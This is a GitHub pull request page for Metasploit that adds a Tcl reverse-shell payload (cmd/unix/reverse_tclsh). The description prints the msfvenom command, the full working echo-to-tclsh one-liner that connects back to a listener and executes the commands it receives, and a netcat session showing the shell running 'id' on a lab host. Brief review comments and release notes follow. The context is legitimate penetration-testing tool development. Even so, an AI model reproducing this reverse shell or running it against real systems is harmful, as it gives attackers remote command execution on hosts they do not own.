Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add cmd/unix/reverse_tclsh #13141

Merged
merged 3 commits into from
Mar 27, 2020
Merged

Add cmd/unix/reverse_tclsh #13141

merged 3 commits into from
Mar 27, 2020

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Mar 25, 2020

$ ruby -W0 ./msfvenom -p cmd/unix/reverse_tclsh LPORT=1337 LHOST=172.16.191.165 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 183 bytes
echo 'set s [socket 172.16.191.165 1337];set c "";while {$c != "exit"} {flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} {puts $s $r};flush $s;};close $s;'|tclsh
$ nc -lvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 172.16.191.228.
Ncat: Connection from 172.16.191.228:39365.
id
uid=1001(test) gid=1001(test) groups=1001(test)
exit
$

I have no idea what best practice for attribution is here. There are dozens of reverse shell cheatsheets going back over a decade. On the other hand, while I copied (and modified) the one-liner shell, it's not particularly complex.

@bcoles bcoles added the payload label Mar 25, 2020
@bwatters-r7
Copy link
Contributor

This may need to have some test stubs like #13000

@wvu wvu self-assigned this Mar 26, 2020
@wvu wvu merged commit 8010da8 into rapid7:master Mar 27, 2020
@wvu
Copy link
Contributor

wvu commented Mar 27, 2020

Release Notes

This adds a reverse shell payload for tclsh, a simple shell containing Tcl interpreter.

@bcoles bcoles deleted the reverse_tclsh branch March 28, 2020 01:51
@tperry-r7 tperry-r7 added the rn-enhancement release notes enhancement label Apr 15, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
payload rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants